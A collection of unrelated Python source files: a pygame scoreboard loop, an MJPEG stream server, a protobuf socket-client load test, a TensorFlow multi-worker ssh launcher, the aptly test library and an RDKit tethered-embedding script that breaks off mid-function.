ui_menu = menu()
ui_settings = settings()
ui_game = game()
while True:
bkp_pos0 = pygame.mouse.get_pos()
bkp_pos = (int(bkp_pos0[0] / scale), int(bkp_pos0[1] / scale))
if pygame.event.get(pygame.QUIT):
if is_game_running and game_conf_file:
game_config['log'] = log
game_config['goals'] = goals
game_config['names'] = names
game_config['scores'] = scores
game_config['players'] = players
game_config['victories'] = victories
game_config['game_name'] = game_name
game_config['score_limit'] = score_limit
game_config['limit_mode'] = inverted_victory_mode
with open(game_conf_file, 'w') as config_file:
config_file.write(json.dumps(game_config, indent=4, ensure_ascii=True))
global_config.save()
pygame.quit()
exit(0)
for i in game_events.tick():
if i['name'] == 'increase_player': # arg1 is the player, arg2 is the score
visible_scores[i['arg1']] += i['arg2']
if i['name'] == 'show_blinker':
game_events.add_event(False, 'hide_blinker', max_fps / 2)
if i['name'] == 'hide_blinker':
game_events.add_event(False, 'show_blinker', max_fps / 2)
if i['name'] == 'blink' and blink_time > 0: # arg1 is the player, arg2 is the color
if not i['time_left'] % max_fps:
field_colors[i['arg1']] = 0
elif i['time_left'] % max_fps == max_fps // 2:
field_colors[i['arg1']] = i['arg2']
if i['name'] == 'score_change':
if max(scores) >= score_limit:
if inverted_victory_mode:
j = max(scores)
else:
j = min(scores)
winners = []
for k in range(players):
if scores[k] == j:
winners.append(k)
game_events.add_event(True, 'blink', max_fps*blink_time - max_fps//2 + 1, k, 2)
log.append(f'{k+1}W@{scores[k]}')
log_cursor = max(0, len(log) - 10)
else:
game_events.add_event(True, 'blink', max_fps*blink_time - max_fps//2 + 1, k, 1)
log.append(f'{k+1}F@{scores[k]}')
log_cursor = max(0, len(log) - 10)
game_events.add_event(False, 'clear_score', max_fps*blink_time - max_fps//2 + 1)
win_names = []
for m in winners:
victories[m] += 1
win_names.append(names[m])
if len(winners) > 1:
win_final_names = ''
for m in range(len(winners) - 1):
win_final_names += f'{win_names[m]}, '
win_final_names += f' and {win_names[-1]}'
narrate(lang['narrator_victory_multiple'].format(players=win_final_names, score=j))
else:
win_final_names = win_names[0]
narrate(lang['narrator_victory_single'].format(player=win_final_names, score=j))
if i['name'] == 'clear_score':
scores = [0] * players
if not game_events.get_events('increase_player'):
visible_scores = scores.copy()
if current_ui == "menu":
ui_menu.draw()
elif current_ui == 'settings' or current_ui == 'pause':
ui_settings.draw_global()
elif current_ui == 'player_edit' or current_ui == 'player_setup':
ui_settings.draw_player_list()
elif current_ui == 'setup':
ui_game.draw_setup()
elif current_ui == 'game':
ui_game.draw_game()
ui_game.process_commands()
transformed = pygame.transform.smoothscale(window, (int(1280*scale), int(720*scale)))
final_window.blit(transformed, (0, 0))
pygame.display.update()
gametick.tick(max_fps)
|
mjpg_stream_server.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PIL import Image
import threading
from http.server import BaseHTTPRequestHandler,HTTPServer
from socketserver import ThreadingMixIn
from io import StringIO, BytesIO
import time
import cv2
import logging
class CamHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.endswith('.mjpg'):
self.send_response(200)
self.send_header('Content-type','multipart/x-mixed-replace; boundary=--jpgboundary')
self.end_headers()
while True:
try:
# frame = self.server.main.get_frame()
# if frame is not None:
# imgRGB=cv2.cvtColor(frame,cv2.COLOR_BGR2RGB)
# jpg = Image.fromarray(imgRGB)
# tmpFile = BytesIO()
# jpg.save(tmpFile,'JPEG')
tmpFile = self.server.main.get_img()
if tmpFile is not None:
self.wfile.write("--jpgboundary".encode())
self.send_header('Content-type','image/jpeg')
self.send_header('Content-length',str(tmpFile.getbuffer().nbytes))
self.end_headers()
self.wfile.write(tmpFile.getbuffer())
time.sleep(0.1)
except KeyboardInterrupt:
break
except Exception as e:
print(e)
raise e
return
elif self.path == '' or self.path == '/' or self.path.endswith('.html'):
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write('<html><head></head><body>'.encode())
self.wfile.write('<img src="./cam.mjpg"/>'.encode())
self.wfile.write('</body></html>'.encode())
return
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
class MjpgStreamServer:
def __init__(self, host='0.0.0.0', port=8080):
self._frame = None
self._tmpFile = None
self.server = ThreadedHTTPServer((host, port), CamHandler)
self.server.main = self
logging.info("server started http://%s:%s", host, port)
self.thread = threading.Thread(target=self.server.serve_forever)
self.thread.daemon = True
self.thread.start()
self.mutex = threading.RLock()
def get_frame(self):
with self.mutex:
return self._frame
def set_frame(self, frame):
with self.mutex:
self._frame = frame
self._tmpFile = None
def get_img(self):
with self.mutex:
if self._tmpFile:
return self._tmpFile
if self._frame is not None:
imgRGB=cv2.cvtColor(self._frame,cv2.COLOR_BGR2RGB)
jpg = Image.fromarray(imgRGB)
self._tmpFile = BytesIO()
jpg.save(self._tmpFile,'JPEG')
return self._tmpFile
if __name__ == '__main__':
MjpgStreamServer()
while 1:
time.sleep(10)
|
Client.py | # coding=utf-8
import math
from socket import *
from Config import Config
from Protocal.generate import TransferProtocal_pb2
HOST = Config.HOST
PORT = Config.PORT
BufferSize = Config.BufferSize
ADDR = (HOST, PORT)
def receiveDataFromServer(server, address):
data = b''
while True:
buf = server.recv(BufferSize)
data = data + buf
if len(buf.strip(b' ')) < BufferSize:
break
data = data.strip(b' ')
return data
def sendDataToServer(server, address, data):
data = data + (BufferSize - len(data) % BufferSize) * b" "
pieces = len(data) // BufferSize
for i in range(pieces):
server.send(data[i * BufferSize: (i + 1) * BufferSize])
def testRegister() :
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
request = TransferProtocal_pb2.RequestType()
request.request = TransferProtocal_pb2.RequestType.REGISTER_REQ
data = request.SerializeToString()
sendDataToServer(tcpCliSock, ADDR, data)
request = TransferProtocal_pb2.Account()
request.account = "hrhtrd4"
request.password = "fhiuth"
sendDataToServer(tcpCliSock, ADDR, request.SerializeToString())
# data = tcpCliSock.recv(BufferSize)
# ReplyCode = TransferProtocal_pb2.ResultType()
# ReplyCode.ParseFromString(data)
#
# if ReplyCode.result == TransferProtocal_pb2.ResultType.REGISTER_RES:
data = receiveDataFromServer(tcpCliSock, ADDR)
tcpCliSock.send("OK".encode())
result = TransferProtocal_pb2.RegisterRes()
result.ParseFromString(data)
#print(str(result.hasSucceed),str(result.error))
tcpCliSock.close()
def testLogin() :
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
request = TransferProtocal_pb2.RequestType()
request.request = TransferProtocal_pb2.RequestType.LOGIN_REQ
data = request.SerializeToString()
sendDataToServer( tcpCliSock,ADDR,data )
request = TransferProtocal_pb2.Account()
request.account = "hrhtr4"
request.password = "fhfth"
sendDataToServer(tcpCliSock, ADDR, request.SerializeToString())
data = receiveDataFromServer(tcpCliSock, ADDR)
tcpCliSock.send("OK".encode())
result = TransferProtocal_pb2.LoginRes()
result.ParseFromString(data)
#print(str(result.hasSucceed),str(result.error))
tcpCliSock.close()
def testSaveArchive():
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
request = TransferProtocal_pb2.RequestType()
request.request = TransferProtocal_pb2.RequestType.SAVE_ARCHIVE_REQ
data = request.SerializeToString()
sendDataToServer(tcpCliSock, ADDR, data)
request = TransferProtocal_pb2.Account()
request.account = "hrhtr4"
request.password = "fhiuth"
request.data = "的韩国空即是色".encode() + b"u"*20480
sendDataToServer(tcpCliSock, ADDR, request.SerializeToString())
data = receiveDataFromServer(tcpCliSock, ADDR)
tcpCliSock.send("OK".encode())
result = TransferProtocal_pb2.ArchiveOpRes()
result.ParseFromString(data)
#print(str(result.hasSucceed), str(result.operation))
tcpCliSock.close()
def testGetArchive():
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
request = TransferProtocal_pb2.RequestType()
request.request = TransferProtocal_pb2.RequestType.GET_ARCHIVE_REQ
data = request.SerializeToString()
sendDataToServer(tcpCliSock, ADDR, data)
request = TransferProtocal_pb2.Account()
request.account = "hrhtr4"
request.password = "fhiuth"
sendDataToServer(tcpCliSock, ADDR, request.SerializeToString())
data = receiveDataFromServer(tcpCliSock, ADDR)
tcpCliSock.send("OK".encode())
result = TransferProtocal_pb2.ArchiveOpRes()
result.ParseFromString(data)
#print(str(result.hasSucceed), str(result.operation),len( result.data ))
tcpCliSock.close()
def testDeletaArchive():
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
request = TransferProtocal_pb2.RequestType()
request.request = TransferProtocal_pb2.RequestType.DELETE_ARCHIVE_REQ
data = request.SerializeToString()
sendDataToServer(tcpCliSock, ADDR, data)
request = TransferProtocal_pb2.Account()
request.account = "hrhtr4"
request.password = "fhiuth"
sendDataToServer(tcpCliSock, ADDR, request.SerializeToString())
data = receiveDataFromServer(tcpCliSock, ADDR)
tcpCliSock.send("OK".encode())
result = TransferProtocal_pb2.ArchiveOpRes()
result.ParseFromString(data)
##print(str(result.hasSucceed), str(result.operation))
tcpCliSock.close()
# test
# from concurrent.futures import ThreadPoolExecutor
# ThreadPool = ThreadPoolExecutor(max_workers=20)
task = [
testRegister,
testLogin,
testSaveArchive,
testGetArchive,
testDeletaArchive,
]
import time
from threading import Thread
print("Begin\n")
start = time.clock()
for i in range (310):
t = Thread( target=task[i%4] )
t.start()
t.join()
print("end %s" , str(time.clock() - start))
# 1.001522345800621
# 1s能处理约310条请求
# i = 0
# counter = 0
# works = []
# while i < 100:
# handler = ThreadPool.submit( task[i% len(task)] )
# i = i+1
# works.append(handler)
#
# removelist = []
# for job in works:
# if job.done():
# counter = counter + 1
# removelist.append(job)
# for job in removelist:
# works.remove( job )
#
# #print( counter ) |
multi_worker_with_keras_runner.py | import sys
import os
import threading
node_str = sys.stdin.read().replace("\n","")
nodes = node_str.split(' ')
first = True
node_string = ""
for node in nodes:
if not first:
node_string += ','
node_string += '"' + node + ':12345"'
first = False
for i, node in enumerate(nodes):
config = ('TF_CONFIG='+'\'"\'"\'{"cluster": {"worker": ['+node_string+']}, "task": {"index": '+str(i)+', "type": "worker"}}\'"\'"\'')
print(node)
command = 'ssh '+node+" 'conda activate wmlce-ea;"+config+";python multi_worker_with_keras_numpyArrays.py'"
print(command)
def thread_function(command):
os.system(command)
thread = threading.Thread(target=thread_function, args=(command,))
thread.start()
thread.join()
|
lib.py | """
Test library.
"""
import difflib
import inspect
import json
import subprocess
import os
import posixpath
import re
import shlex
import shutil
import string
import threading
import urllib.error
import urllib.parse
import urllib.request
import pprint
import socketserver
import http.server
import zlib
def ungzip_if_required(output):
if isinstance(output, bytes) and output.startswith(b"\x1f\x8b"):
return zlib.decompress(output, 16 + zlib.MAX_WBITS).decode('utf-8')
return output
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
class FileHTTPServerRequestHandler(http.server.SimpleHTTPRequestHandler):
def translate_path(self, path):
"""Translate a /-separated PATH to the local filename syntax.
Components that mean special things to the local file system
(e.g. drive or directory names) are ignored. (XXX They should
probably be diagnosed.)
"""
# abandon query parameters
path = path.split('?', 1)[0]
path = path.split('#', 1)[0]
path = posixpath.normpath(urllib.parse.unquote(path))
words = path.split('/')
words = [_f for _f in words if _f]
path = self.rootPath
for word in words:
_, word = os.path.splitdrive(word)
_, word = os.path.split(word)
if word in (os.curdir, os.pardir):
continue
path = os.path.join(path, word)
return path
def log_message(self, format, *args):
pass
class GPGFinder(object):
"""
GnuPG binary discovery.
"""
def __init__(self):
self.gpg1 = self.find_gpg(["gpg1", "gpg"], "gpg (GnuPG) 1.")
self.gpg2 = self.find_gpg(["gpg2", "gpg"], "gpg (GnuPG) 2.")
self.gpg = self.gpg1
if self.gpg is None:
self.gpg = self.gpg2
if self.gpg is None:
raise Exception("GnuPG binary wasn't found")
def find_gpg(self, executables, expected_version):
for executable in executables:
try:
output = subprocess.check_output([executable, "--version"], text=True)
if expected_version in output:
return executable
except Exception:
pass
return None
class DotFinder(object):
"""
dot binary discovery.
"""
def __init__(self):
self.dot = self.find_dot(["dot"])
def find_dot(self, executables):
for executable in executables:
try:
subprocess.check_output([executable, "-V"], text=True)
return executable
except Exception:
pass
return None
class BaseTest(object):
"""
Base class for all tests.
"""
skipTest = False
longTest = False
fixturePool = False
fixturePoolCopy = False
fixtureDB = False
fixtureGpg = False
fixtureWebServer = False
requiresFTP = False
requiresGPG1 = False
requiresGPG2 = False
requiresDot = False
sortOutput = False
expectedCode = 0
configFile = {
"rootDir": "%s/.aptly" % os.environ["HOME"],
"downloadConcurrency": 4,
"downloadSpeedLimit": 0,
"downloadRetries": 5,
"databaseOpenAttempts": 10,
"architectures": [],
"dependencyFollowSuggests": False,
"dependencyFollowRecommends": False,
"dependencyFollowAllVariants": False,
"dependencyFollowSource": False,
"gpgDisableVerify": False,
"gpgDisableSign": False,
"ppaDistributorID": "ubuntu",
"ppaCodename": "",
}
configOverride = {}
environmentOverride = {}
fixtureDBDir = os.path.join(os.environ["HOME"], "aptly-fixture-db")
fixturePoolDir = os.path.join(os.environ["HOME"], "aptly-fixture-pool")
fixtureGpgKeys = ["debian-archive-keyring.gpg",
"ubuntu-archive-keyring.gpg",
"launchpad.key",
"flat.key",
"pagerduty.key",
"nvidia.key",
"jenkins.key"]
outputMatchPrepare = None
captureResults = False
gpgFinder = GPGFinder()
dotFinder = DotFinder()
def test(self):
self.prepare()
try:
self.run()
self.check()
finally:
self.teardown()
def prepare_remove_all(self):
if os.path.exists(os.path.join(os.environ["HOME"], ".aptly")):
shutil.rmtree(os.path.join(os.environ["HOME"], ".aptly"))
if os.path.exists(os.path.join(os.environ["HOME"], ".aptly.conf")):
os.remove(os.path.join(os.environ["HOME"], ".aptly.conf"))
if os.path.exists(os.path.join(os.environ["HOME"], ".gnupg", "aptlytest.gpg")):
os.remove(os.path.join(
os.environ["HOME"], ".gnupg", "aptlytest.gpg"))
def prepare_default_config(self):
cfg = self.configFile.copy()
if self.requiresGPG1:
cfg["gpgProvider"] = "gpg1"
elif self.requiresGPG2:
cfg["gpgProvider"] = "gpg2"
cfg.update(**self.configOverride)
f = open(os.path.join(os.environ["HOME"], ".aptly.conf"), "w")
f.write(json.dumps(cfg))
f.close()
def fixture_available(self):
if self.fixturePool and not os.path.exists(self.fixturePoolDir):
return False
if self.fixtureDB and not os.path.exists(self.fixtureDBDir):
return False
if self.requiresFTP and os.environ.get('NO_FTP_ACCESS', '') == 'yes':
return False
if self.requiresGPG1 and self.gpgFinder.gpg1 is None:
return False
if self.requiresGPG2 and self.gpgFinder.gpg2 is None:
return False
if self.requiresDot and self.dotFinder.dot is None:
return False
return True
def prepare_fixture(self):
if self.fixturePool:
os.makedirs(os.path.join(os.environ["HOME"], ".aptly"), 0o755)
os.symlink(self.fixturePoolDir, os.path.join(
os.environ["HOME"], ".aptly", "pool"))
if self.fixturePoolCopy:
os.makedirs(os.path.join(os.environ["HOME"], ".aptly"), 0o755)
shutil.copytree(self.fixturePoolDir, os.path.join(
os.environ["HOME"], ".aptly", "pool"), ignore=shutil.ignore_patterns(".git"))
if self.fixtureDB:
shutil.copytree(self.fixtureDBDir, os.path.join(
os.environ["HOME"], ".aptly", "db"))
if self.fixtureWebServer:
self.webServerUrl = self.start_webserver(os.path.join(os.path.dirname(inspect.getsourcefile(self.__class__)),
self.fixtureWebServer))
if self.requiresGPG2:
self.run_cmd([
self.gpgFinder.gpg2, "--import",
os.path.join(os.path.dirname(inspect.getsourcefile(BaseTest)), "files") + "/aptly.sec"], expected_code=None)
if self.fixtureGpg:
self.run_cmd([self.gpgFinder.gpg, "--no-default-keyring", "--trust-model", "always", "--batch", "--keyring", "aptlytest.gpg", "--import"] +
[os.path.join(os.path.dirname(inspect.getsourcefile(BaseTest)), "files", key) for key in self.fixtureGpgKeys])
if hasattr(self, "fixtureCmds"):
for cmd in self.fixtureCmds:
self.run_cmd(cmd)
def sort_lines(self, output):
return "\n".join(sorted(self.ensure_utf8(output).split("\n")))
def run(self):
output = self.run_cmd(self.runCmd, self.expectedCode)
if self.sortOutput:
output = self.sort_lines(output)
self.output = self.output_processor(output)
def _start_process(self, command, stderr=subprocess.STDOUT, stdout=None):
if isinstance(command, str):
params = {
'files': os.path.join(os.path.dirname(inspect.getsourcefile(BaseTest)), "files"),
'changes': os.path.join(os.path.dirname(inspect.getsourcefile(BaseTest)), "changes"),
'udebs': os.path.join(os.path.dirname(inspect.getsourcefile(BaseTest)), "udebs"),
'testfiles': os.path.join(os.path.dirname(inspect.getsourcefile(self.__class__)), self.__class__.__name__),
'aptlyroot': os.path.join(os.environ["HOME"], ".aptly"),
}
if self.fixtureWebServer:
params['url'] = self.webServerUrl
command = string.Template(command).substitute(params)
command = shlex.split(command)
environ = os.environ.copy()
environ["LC_ALL"] = "C"
environ.update(self.environmentOverride)
return subprocess.Popen(command, stderr=stderr, stdout=stdout, env=environ)
def run_cmd(self, command, expected_code=0):
try:
proc = self._start_process(command, stdout=subprocess.PIPE)
output, _ = proc.communicate()
if expected_code is not None:
if proc.returncode != expected_code:
raise Exception("exit code %d != %d (output: %s)" % (
proc.returncode, expected_code, output))
return output
except Exception as e:
raise Exception("Running command %s failed: %s" %
(command, str(e)))
def gold_processor(self, gold):
return gold
def output_processor(self, output):
return output
def expand_environ(self, gold):
return string.Template(gold).substitute(os.environ)
def get_gold_filename(self, gold_name="gold"):
return os.path.join(os.path.dirname(inspect.getsourcefile(self.__class__)), self.__class__.__name__ + "_" + gold_name)
def get_gold(self, gold_name="gold"):
return self.gold_processor(open(self.get_gold_filename(gold_name), "r").read())
def strip_retry_lines(self, s):
for prefix in (
'Following redirect',
'Error downloading',
'Retrying',
):
s = re.sub(r'{}.*\n'.format(prefix), '', s)
return s
def check_output(self):
try:
self.verify_match(self.get_gold(), self.output,
match_prepare=self.outputMatchPrepare)
except: # noqa: E722
if self.captureResults:
if self.outputMatchPrepare is not None:
self.output = self.outputMatchPrepare(self.output)
with open(self.get_gold_filename(), "w") as f:
f.write(self.output)
else:
raise
def check_cmd_output(self, command, gold_name, match_prepare=None, expected_code=0):
output = self.run_cmd(command, expected_code=expected_code)
try:
self.verify_match(self.get_gold(gold_name), output, match_prepare)
except: # noqa: E722
if self.captureResults:
if match_prepare is not None:
output = match_prepare(output)
with open(self.get_gold_filename(gold_name), "w") as f:
f.write(output)
else:
raise
def read_file(self, path, mode=''):
with open(os.path.join(os.environ["HOME"], ".aptly", path), "r" + mode) as f:
return f.read()
def delete_file(self, path):
os.unlink(os.path.join(os.environ["HOME"], ".aptly", path))
def check_file_contents(self, path, gold_name, match_prepare=None, mode='', ensure_utf8=True):
contents = self.read_file(path, mode=mode)
try:
self.verify_match(self.get_gold(gold_name),
contents, match_prepare=match_prepare,
ensure_utf8=ensure_utf8)
except: # noqa: E722
if self.captureResults:
if match_prepare is not None:
contents = match_prepare(contents)
with open(self.get_gold_filename(gold_name), "w") as f:
f.write(contents)
else:
raise
def check_file(self):
contents = open(self.checkedFile, "r").read()
try:
self.verify_match(self.get_gold(), contents)
except: # noqa: E722
if self.captureResults:
with open(self.get_gold_filename(), "w") as f:
f.write(contents)
else:
raise
def check_exists(self, path):
if not os.path.exists(os.path.join(os.environ["HOME"], ".aptly", path)):
raise Exception("path %s doesn't exist" % (path, ))
def check_not_exists(self, path):
if os.path.exists(os.path.join(os.environ["HOME"], ".aptly", path)):
raise Exception("path %s exists" % (path, ))
def check_file_not_empty(self, path):
if os.stat(os.path.join(os.environ["HOME"], ".aptly", path))[6] == 0:
raise Exception("file %s is empty" % (path, ))
def check_equal(self, a, b):
if a != b:
self.verify_match(a, b, match_prepare=pprint.pformat)
def check_ge(self, a, b):
if not a >= b:
raise Exception("%s is not greater or equal to %s" % (a, b))
def check_gt(self, a, b):
if not a > b:
raise Exception("%s is not greater to %s" % (a, b))
def check_in(self, item, l):
if item not in l:
raise Exception("item %r not in %r", item, l)
def check_not_in(self, item, l):
if item in l:
raise Exception("item %r in %r", item, l)
def check_subset(self, a, b):
diff = ''
for k, v in list(a.items()):
if k not in b:
diff += "unexpected key '%s'\n" % (k,)
elif b[k] != v:
diff += "wrong value '%s' for key '%s', expected '%s'\n" % (
v, k, b[k])
if diff:
raise Exception("content doesn't match:\n" + diff)
def ensure_utf8(self, a):
if isinstance(a, bytes):
return a.decode('utf-8')
return a
def verify_match(self, a, b, match_prepare=None, ensure_utf8=True):
if ensure_utf8:
a = self.ensure_utf8(a)
b = self.ensure_utf8(b)
if match_prepare is not None:
a = match_prepare(a)
b = match_prepare(b)
if a != b:
diff = "".join(difflib.unified_diff(
[l + "\n" for l in a.split("\n")], [l + "\n" for l in b.split("\n")]))
raise Exception("content doesn't match:\n" + diff + "\n")
check = check_output
def prepare(self):
self.prepare_remove_all()
self.prepare_default_config()
self.prepare_fixture()
def teardown(self):
pass
def start_webserver(self, directory):
FileHTTPServerRequestHandler.rootPath = directory
self.webserver = ThreadedTCPServer(
("localhost", 0), FileHTTPServerRequestHandler)
server_thread = threading.Thread(target=self.webserver.serve_forever)
server_thread.daemon = True
server_thread.start()
return "http://%s:%d/" % self.webserver.server_address
def shutdown(self):
if hasattr(self, 'webserver'):
self.shutdown_webserver()
def shutdown_webserver(self):
self.webserver.shutdown()
@classmethod
def shutdown_class(cls):
pass
|
prepare_tether.py | #!/usr/bin/env python
# Copyright 2020 Informatics Matters Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import argparse, os, sys, json, traceback, time
import multiprocessing
from rdkit import Chem
from rdkit.Chem import AllChem
from rdkit.Chem import rdFMCS
from rdkit.Chem.rdMolAlign import *
from rdkit.Chem.rdForceFieldHelpers import *
from rdkit import RDLogger
from rdkit import rdBase
from pipelines.dimorphite.dimorphite_dl import run_with_mol_list
def log(*args, **kwargs):
"""Log output to STDERR
"""
print(*args, file=sys.stderr, ** kwargs)
def enumerate_charges(mol, min_ph, max_ph):
"""
Enumerate the charge states of this mol
:param mol:
:return:
"""
mol_list = [ mol ]
protonated_mols = run_with_mol_list(mol_list, min_ph=min_ph, max_ph=max_ph)
return protonated_mols
chunk_size = 0
write_count = 0
file_count = 0
writer = None
embedding_failures_file = None
def get_writer(outfile_base):
global writer
global write_count
global file_count
if not writer:
writer = Chem.SDWriter(outfile_base + '_' + f'{file_count:03}' + '.sdf')
if write_count <= chunk_size:
# print(' Using existing writer for', id, writer)
return writer
# we need to create a new writer
# re-set the molecule count
write_count = 0
# close the old writer
print('Closing writer', file_count)
writer.close()
file_count += 1
writer = Chem.SDWriter(outfile_base + '_' + f'{file_count:03}' + '.sdf')
#print(' Using new writer for', id, writer)
return writer
def get_h_bonds(atom):
l = []
for b in atom.GetBonds():
o = b.GetOtherAtom(atom)
if o.GetAtomicNum() == 1:
l.append(b.GetIdx())
return tuple(l)
def get_num_h_neighbours(atom):
count = 0
for n in atom.GetNeighbors():
if n.GetAtomicNum() != 1:
count += 1
return len(atom.GetNeighbors()) - count
def count_h_attachments_for_match(mol, match):
res = []
for m in match:
atom = mol.GetAtomWithIdx(m)
res.append(get_num_h_neighbours(atom))
return tuple(res)
def count_h_attachements_for_mol(mol, match):
molh = Chem.AddHs(mol)
res = []
for m in match:
atom = molh.GetAtomWithIdx(m)
if atom.GetAtomicNum() != 1:
res.append(get_num_h_neighbours(atom))
return tuple(res)
def count_attachments(mol, match):
res = []
for m in match:
atom = mol.GetAtomWithIdx(m)
res.append(get_h_bonds(atom))
return tuple(res)
num_swap_success = 0
embedding_failures = 0
def do_embed(new_mol, coord_map, ret_vals):
ci = AllChem.EmbedMolecule(new_mol, coordMap=coord_map, ignoreSmoothingFailures=True)
ret_vals['ci'] = ci
ret_vals['mol'] = new_mol
def do_embed_with_timeout(new_mol, coord_map, timout_secs):
manager = multiprocessing.Manager()
ret_values = manager.dict()
p = multiprocessing.Process(target=do_embed, name="EmbedMolecule", args=(new_mol, coord_map, ret_values))
p.start()
p.join(timout_secs)
# If thread is active
if p.is_alive():
print(" Embedding is still running after", timout_secs, "seconds... let's kill it...")
p.terminate()
p.join()
ci = -1
mol = None
else:
ci = ret_values['ci']
mol = ret_values['mol']
return ci, mol
# This is the rdkit ConstrainedEmbed function from AllChem
# Have edited to make it a bit shorter by deleting the instructions
def multi_constrained_embed(mol, target, mcsQuery, getForceField=UFFGetMoleculeForceField, timout_embed_secs=5):
global num_swap_success
global embedding_failures
t0 = time.time()
print(Chem.MolToSmiles(mol), Chem.MolToSmarts(mcsQuery))
# In original constrained function, only a single match was found.
# Here we look for multiple matches
molMatches = mol.GetSubstructMatches(mcsQuery, uniquify=False)
if not molMatches:
raise ValueError("molecule doesn't match the MCS")
targetMatches = target.GetSubstructMatches(mcsQuery, uniquify=True)
if not targetMatches:
raise ValueError("target doesn't match the MCS")
print(' Found', len(molMatches), 'SSS matches to mol and', len(targetMatches), 'to target')
# use the first target match for now
targetMatch = targetMatches[0]
print(' Target match:', targetMatch)
mols_matches = []
hs_for_core = count_h_attachements_for_mol(target, targetMatch)
print(' COREHS', hs_for_core)
# loop over our matches
nhas = []
for molMatch in molMatches:
# print(' Match lengths:', len(targetMatch), len(molMatch))
nha = count_h_attachments_for_match(mol, molMatch)
atoms_to_switch = []
if nha in nhas:
print(' NHA', nha, 'SSS', molMatch, 'EXISTING')
continue
else:
nhas.append(nha)
for idx in range(len(hs_for_core)):
hs_on_core_atoms = hs_for_core[idx]
hs_on_matched_atoms = nha[idx]
# check if the number of H atoms is different e.g. the atom is substituted compared to the core
if hs_on_core_atoms != hs_on_matched_atoms:
#print(' ',idx, hs_on_core_atoms, hs_on_matched_atoms,c)
# Do we have at least one H on the atom - if so there is potential for swapping the substitutions
if hs_on_matched_atoms > 0:
atomidx = molMatch[idx]
atom = mol.GetAtomWithIdx(atomidx)
free_atoms = []
free_symbols = []
tethered_atoms = []
tethered_symbols = []
for other_atom in atom.GetNeighbors():
o_idx = other_atom.GetIdx()
o_sym = other_atom.GetSymbol() + str(other_atom.GetIdx())
if other_atom.GetIdx() in molMatch:
#print(' tethered', o_sym)
tethered_atoms.append(o_idx)
tethered_symbols.append(o_sym)
else:
#print(' free', o_sym)
free_atoms.append(o_idx)
free_symbols.append(o_sym)
print(' Atom:', atom.GetSymbol() + str(atomidx), 'Free:', free_symbols, 'Tethered:', tethered_symbols)
# Include if there are 2 or more tethered atoms
# - otherwise it's free to rotate
if len(tethered_atoms) > 1:
#print(' GT1')
atoms_to_switch.append((idx, atomidx, molMatch[idx], hs_on_matched_atoms, tuple(free_atoms), tuple(tethered_atoms)))
# Handle the special case of where there is only one tether but the bond is not rotatable
# e.g. a double bond, but not a methyl group where the 3 Hs are equivalent
if len(tethered_atoms) == 1:
#print(' EQ1')
bond = mol.GetBondBetweenAtoms(molMatch[idx], tethered_atoms[0])
if bond: # should always be one, but just in case
# Don't know how to ask if a bond is rotatable.
# So instead ask if it is a double bond which won't be rotatable
if bond.GetBondType() == Chem.BondType.DOUBLE:
print(' NON-ROTATABLE', bond.GetBondType(), atom.GetSymbol() + '->' + bond.GetOtherAtom(atom).GetSymbol())
atoms_to_switch.append((idx, atomidx, molMatch[idx], hs_on_matched_atoms, tuple(free_atoms), tuple(tethered_atoms)))
print(' NHA', nha, 'SSS', molMatch, 'NEW', atoms_to_switch)
free_counts = []
for atom in mol.GetAtoms():
free_count = 0
for other_atom in atom.GetNeighbors():
if other_atom.GetIdx() not in molMatch:
free_count += 1
free_counts.append(free_count)
mols_to_embed = enumerate_undefined_chirals(mol, free_counts)
for new_mol in mols_to_embed:
# print(' Target match:', targetMatch)
# print(' Candid match:', molMatch)
coordMap={}
algMap = []
targetConf = target.GetConformer(-1)
for i, idxI in enumerate(targetMatch):
# coordMap[idxI] = coreConf.GetAtomPosition(i)
coordMap[molMatch[i]] = targetConf.GetAtomPosition(idxI)
algMap.append((molMatch[i], targetMatch[i]))
#print(' CoordMap:', dump_coord_map(coordMap))
try:
# ci = AllChem.EmbedMolecule(new_mol, coordMap=coordMap, ignoreSmoothingFailures=True)
ci, new_mol = do_embed_with_timeout(new_mol, coordMap, timout_embed_secs)
if ci < 0:
print(' WARNING: Could not embed molecule.')
embedding_failures += 1
else:
# rotate the embedded conformation onto the core:
rms = AlignMol(new_mol, target, atomMap=algMap)
# process the original embedded molecule
minimize_mol(new_mol, target, molMatch, targetMatch, algMap, getForceField)
mols_matches.append((new_mol, molMatch))
except:
embedding_failures += 1
print(' ERROR: Failed to Embed molecule')
traceback.print_exc()
if not mols_matches:
# all embedding failed. Maybe due to troublesome stereo with highly constrained structures
# so let's do one last attempt without the stereo
#ci = AllChem.EmbedMolecule(mol, coordMap=coordMap, ignoreSmoothingFailures=True)
ci, mol = do_embed_with_timeout(mol, coordMap, timout_embed_secs)
if ci < 0:
print('WARNING: Could not embed molecule.')
embedding_failures += 1
else:
# rotate the embedded conformation onto the core:
rms = AlignMol(mol, target, atomMap=algMap)
# process the original embedded molecule
minimize_mol(mol, target, molMatch, targetMatch, algMap, getForceField)
mols_matches.append((mol, molMatch))
t1 = time.time()
#print(' Embedding took:', t1 - t0)
# Return a list of tuples of (mol, match)
return mols_matches
def dump_coord_map(coordMap):
res = ''
for idx, point in coordMap.items():
res += str(idx) + '->[' + str(point.x) + ',' + str(point.y) + ',' + str(point.z) + '] '
return res
def enumerate_undefined_chirals(mol, free_counts):
"""
Enumerate undefined chiral centres that are points of substitution.
Chiral centres that are already specifically defined are left untouched.
:param mol: The mol to enumerate
